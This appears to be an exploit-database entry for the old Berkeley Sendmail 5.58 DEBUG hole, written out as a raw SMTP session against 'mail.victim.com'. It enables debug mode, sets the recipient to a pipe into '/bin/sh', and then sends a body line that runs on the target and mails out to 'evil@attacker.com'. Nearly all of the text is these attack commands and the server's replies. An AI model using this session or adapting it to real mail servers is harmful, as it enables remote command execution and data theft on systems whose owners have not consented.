Berkeley Sendmail 5.58 - Debug

anonymous 1988-08-01 remote linux
220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: 
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with .
mail evil@attacker.com